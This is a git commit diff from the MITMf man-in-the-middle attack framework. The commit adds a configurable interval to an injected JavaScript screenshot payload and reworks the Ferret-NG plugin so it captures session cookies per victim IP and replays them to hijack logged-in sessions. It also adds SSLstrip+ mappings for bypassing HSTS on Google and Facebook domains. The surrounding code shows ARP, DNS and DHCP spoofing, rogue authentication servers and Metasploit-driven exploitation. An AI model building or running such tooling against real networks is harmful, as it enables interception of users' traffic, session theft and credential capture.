Screenshotter plugin now live!

Added an interval option to specify the interval at which to take the sceenshots

Ferret-NG plugin is pretty much set also, was a bit of a dummy and didn't take into account that we would have sessions from multiple clients (duh!) , so I added a section in the config file to specify the client to hijack the sessions from , also added an option to load the cookies from a log file!
This commit is contained in:
byt3bl33d3r 2015-05-16 21:22:11 +02:00
parent ff39a302f9
commit b9371f7cdc
17 changed files with 130 additions and 70 deletions

View file

@ -103,6 +103,27 @@
[[Regex2]]
"I'm Feeling Lucky" = "I'm Feeling Something In My Pants"
[Ferret-NG]
#
# Here you can specify the client to hijack sessions from
#
Client = '192.168.20.126'
[SSLstrip+]
#
#Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
#
#for google and gmail
accounts.google.com = account.google.com
mail.google.com = gmail.google.com
accounts.google.se = cuentas.google.se
#for facebook
www.facebook.com = social.facebook.com
[Responder]
#Set these values to On or Off, so you can control which rogue authentication server is turned on.
@ -317,20 +338,6 @@
Plugin = Flash
PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
[SSLstrip+]
#
#Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
#
#for google and gmail
accounts.google.com = account.google.com
mail.google.com = gmail.google.com
accounts.google.se = cuentas.google.se
#for facebook
www.facebook.com = social.facebook.com
[FilePwn]
# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'

View file

@ -41,6 +41,7 @@ import logging
from configobj import ConfigObj
from core.configwatcher import ConfigWatcher
from core.utils import shutdown
from dnslib import *
from IPy import IP
@ -481,7 +482,7 @@ class DNSChef(ConfigWatcher):
self.startUDP()
except socket.error as e:
if "Address already in use" in e:
sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
# Initialize and start the DNS Server
def startUDP(self):

View file

@ -71,9 +71,14 @@ class ClientRequest(Request):
del headers['cache-control']
if 'host' in headers:
if headers['host'] in self.urlMonitor.cookies:
try:
for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]:
if headers['host'] == entry['host']:
mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
headers['cookie'] = self.urlMonitor.cookies[headers['host']]
headers['cookie'] = entry['cookie']
except KeyError:
mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client))
pass
return headers

View file

@ -32,6 +32,7 @@ class URLMonitor:
# Start the arms race, and end up here...
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
cookies = dict()
hijack_client = ''
_instance = None
def __init__(self):

View file

@ -2875,4 +2875,4 @@ function grab() {
});
}
grab()
setInterval(function(){grab()}, SECONDS_GO_HERE);

View file

@ -4,6 +4,7 @@ import sys
import threading
from scapy.all import *
from core.utils import shutdown
mitmf_logger = logging.getLogger('mitmf')
@ -21,9 +22,9 @@ class ARPWatch:
try:
self.gatewaymac = getmacbyip(self.gatewayip)
if self.gatewaymac is None:
sys.exit("[ARPWatch] Error: Could not resolve gateway's MAC address")
shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address")
except Exception, e:
sys.exit("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip))
mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac))

View file

@ -1,6 +1,7 @@
import logging
import threading
from time import sleep
from core.utils import shutdown
from scapy.all import *
mitmf_logger = logging.getLogger('mitmf')
@ -42,7 +43,7 @@ class ARPpoisoner():
def start(self):
if self.gatewaymac is None:
sys.exit("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
shutdown("[ARPpoisoner] Error: Could not resolve gateway's MAC address")
mitmf_logger.debug("[ARPpoisoner] gatewayip => {}".format(self.gatewayip))
mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))

View file

@ -4,6 +4,7 @@ import threading
from socket import error as socketerror
from impacket import version, smbserver, LOG
from core.configwatcher import ConfigWatcher
from core.utils import shutdown
LOG.setLevel(logging.INFO)
LOG.propagate = False
@ -29,7 +30,7 @@ class SMBserver(ConfigWatcher):
self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
except socketerror as e:
if "Address already in use" in e:
sys.exit("\n[-] Unable to start SMB server on port 445: port already in use")
shutdown("\n[-] Unable to start SMB server on port 445: port already in use")
def start(self):
t = threading.Thread(name='SMBserver', target=self.server.start)

View file

@ -27,9 +27,15 @@ import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr, get_if_hwaddr
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger('mitmf')
def shutdown(message=None):
for plugin in ProxyPlugins.getInstance().plist:
plugin.finish()
sys.exit(message)
class SystemConfig:
@staticmethod
@ -44,11 +50,11 @@ class SystemConfig:
try:
ip_address = get_if_addr(interface)
if (ip_address == "0.0.0.0") or (ip_address is None):
exit("[Utils] Interface {} does not have an assigned IP address".format(interface))
shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface))
return ip_address
except Exception, e:
exit("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
@staticmethod
def getMAC(interface):
@ -56,7 +62,7 @@ class SystemConfig:
mac_address = get_if_hwaddr(interface)
return mac_address
except Exception, e:
exit("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
class IpTables:

View file

@ -28,7 +28,7 @@ from twisted.web import http
from twisted.internet import reactor
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.utils import Banners, SystemConfig
from core.utils import Banners, SystemConfig, shutdown
from plugins import *
Banners().printBanner()
@ -123,8 +123,6 @@ mitmf_logger.addHandler(fileHandler)
#All our options should be loaded now, initialize the plugins
print "[*] MITMf v{} online... initializing plugins".format(mitmf_version)
load = []
for p in plugins:
#load only the plugins that have been called at the command line
@ -132,32 +130,30 @@ for p in plugins:
print "|_ {} v{}".format(p.name, p.version)
if p.tree_info:
for line in p.tree_info:
for line in xrange(0, len(p.tree_info)):
print "| |_ {}".format(p.tree_info.pop())
p.initialize(args)
if p.tree_info:
for line in p.tree_info:
for line in xrange(0, len(p.tree_info)):
print "| |_ {}".format(p.tree_info.pop())
load.append(p)
ProxyPlugins.getInstance().addPlugin(p)
#Plugins are ready to go, let's rock & roll
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
CookieCleaner.getInstance().setEnabled(args.killsessions)
ProxyPlugins.getInstance().setPlugins(load)
strippingFactory = http.HTTPFactory(timeout=10)
strippingFactory.protocol = StrippingProxy
reactor.listenTCP(args.listen, strippingFactory)
for p in load:
for p in ProxyPlugins.getInstance().plist:
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
p.startConfigWatch()
@ -189,6 +185,4 @@ SMBserver().start()
reactor.run()
print "\n"
#run each plugins finish() on exit
for p in load:
p.finish()
shutdown()

View file

@ -24,7 +24,7 @@ import json
from time import sleep
from core.beefapi import BeefAPI
from core.utils import SystemConfig
from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.Inject import Inject
@ -54,7 +54,7 @@ class BeefAutorun(Inject, Plugin):
self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
if not self.beef.login(beefconfig['user'], beefconfig['pass']):
sys.exit("[-] Error logging in to BeEF!")
shutdown("[-] Error logging in to BeEF!")
def startThread(self, options):
self.autorun()

View file

@ -20,12 +20,11 @@
import string
import random
import sys
import logging
from time import sleep
from core.msfrpc import Msfrpc
from core.utils import SystemConfig
from core.utils import SystemConfig, shutdown
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
@ -56,7 +55,7 @@ class BrowserSniper(BrowserProfiler, Plugin):
version = self.msf.call('core.version')['version']
self.tree_info.append("Connected to Metasploit v{}".format(version))
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server")
def startThread(self, options):
self.snipe()

View file

@ -19,12 +19,15 @@
#
import logging
import ast
import sys
from datetime import datetime
from plugins.plugin import Plugin
from twisted.internet import reactor
from twisted.web import http
from twisted.internet import reactor
from core.utils import shutdown
from core.ferretng.FerretProxy import FerretProxy
from core.ferretng.URLMonitor import URLMonitor
@ -41,17 +44,44 @@ class FerretNG(Plugin):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.ferret_port = 10010 or options.ferret_port
self.cookie_file = None
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
if options.cookie_file:
self.tree_info.append('Loading cookies from log file')
try:
with open(options.cookie_file, 'r') as cookie_file:
self.cookie_file = ast.literal_eval(cookie_file.read())
URLMonitor.getInstance().cookies = self.cookie_file
cookie_file.close()
except Exception as e:
shutdown("[-] Error loading cookie log file: {}".format(e))
self.tree_info.append("Listening on port {}".format(self.ferret_port))
def onConfigChange(self):
mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
def clientRequest(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
client = request.client.getClientIP()
if host not in URLMonitor.getInstance().cookies:
if client not in URLMonitor.getInstance().cookies:
URLMonitor.getInstance().cookies[client] = []
for entry in URLMonitor.getInstance().cookies[client]:
if host == entry['host']:
mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host))
entry['host'] = host
entry['cookie'] = cookie
return
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie}
URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
def pluginReactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
@ -60,10 +90,16 @@ class FerretNG(Plugin):
def pluginOptions(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file')
options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file')
def finish(self):
if not URLMonitor.getInstance().cookies:
return
if self.cookie_file == URLMonitor.getInstance().cookies:
return
mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file:
cookie_file.write(URLMonitor.getInstance().cookies)
with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
cookie_file.write(str(URLMonitor.getInstance().cookies))
cookie_file.close()

View file

@ -69,6 +69,7 @@ from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from core.msfrpc import Msfrpc
from core.utils import shutdown
from plugins.plugin import Plugin
from tempfile import mkstemp
from configobj import ConfigObj
@ -140,7 +141,7 @@ class FilePwn(Plugin):
t.setDaemon(True)
t.start()
except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
def setupMSF(self, msf):

View file

@ -18,11 +18,9 @@
# USA
#
import sys
from plugins.plugin import Plugin
from twisted.internet import reactor
from core.utils import SystemConfig
from core.utils import SystemConfig, shutdown
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
@ -48,7 +46,7 @@ class Responder(Plugin):
config = self.config['Responder']
smbChal = self.config['MITMf']['SMB']['Challenge']
except Exception as e:
sys.exit('[-] Error parsing config for Responder: ' + str(e))
shutdown('[-] Error parsing config for Responder: ' + str(e))
LANFingerprinter().start(options)
MDNSPoisoner().start(options, self.ourip)

View file

@ -20,6 +20,8 @@
import logging
import base64
import urllib
import re
from datetime import datetime
from plugins.Inject import Inject
@ -32,22 +34,30 @@ class ScreenShotter(Inject, Plugin):
optname = 'screen'
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
ver = '0.1'
has_opts = False
has_opts = True
def initialize(self, options):
self.interval = options.interval
Inject.initialize(self, options)
self.html_payload = self.get_payload()
def clientRequest(self, request):
if 'saveshot' in request.uri:
request.printPostData = False
img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
with open(img_file, 'wb') as img:
img.write(base64.b64decode(request.postData[30:] + '=='))
client = request.client.getClientIP()
img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
try:
with open('./logs/' + img_file, 'wb') as img:
img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
img.close()
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file))
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file))
except Exception as e:
mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e))
def get_payload(self):
canvas = open("./core/javascript/screenshot.js", "rb").read()
canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
return '<script type="text/javascript">' + canvas + '</script>'
def pluginOptions(self, options):
options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")

View file

@ -18,8 +18,7 @@
# USA
#
from sys import exit
from core.utils import SystemConfig, IpTables
from core.utils import SystemConfig, IpTables, shutdown
from core.protocols.arp.ARPpoisoner import ARPpoisoner
from core.protocols.arp.ARPWatch import ARPWatch
from core.dnschef.DNSchef import DNSChef
@ -55,7 +54,7 @@ class Spoof(Plugin):
if options.arp:
if not options.gateway:
exit("[-] --arp argument requires --gateway")
shutdown("[-] --arp argument requires --gateway")
if options.targets is None:
#if were poisoning whole subnet, start ARP-Watch
@ -75,10 +74,10 @@ class Spoof(Plugin):
elif options.icmp:
if not options.gateway:
exit("[-] --icmp argument requires --gateway")
shutdown("[-] --icmp argument requires --gateway")
if not options.targets:
exit("[-] --icmp argument requires --targets")
shutdown("[-] --icmp argument requires --targets")
icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address)
icmp.debug = debug
@ -88,7 +87,7 @@ class Spoof(Plugin):
elif options.dhcp:
if options.targets:
exit("[-] --targets argument invalid when DCHP spoofing")
shutdown("[-] --targets argument invalid when DCHP spoofing")
dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
dhcp.shellshock = options.shellshock
@ -104,7 +103,7 @@ class Spoof(Plugin):
DNSChef.getInstance().loadRecords(self.dnscfg)
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
SystemConfig.setIpForwarding(1)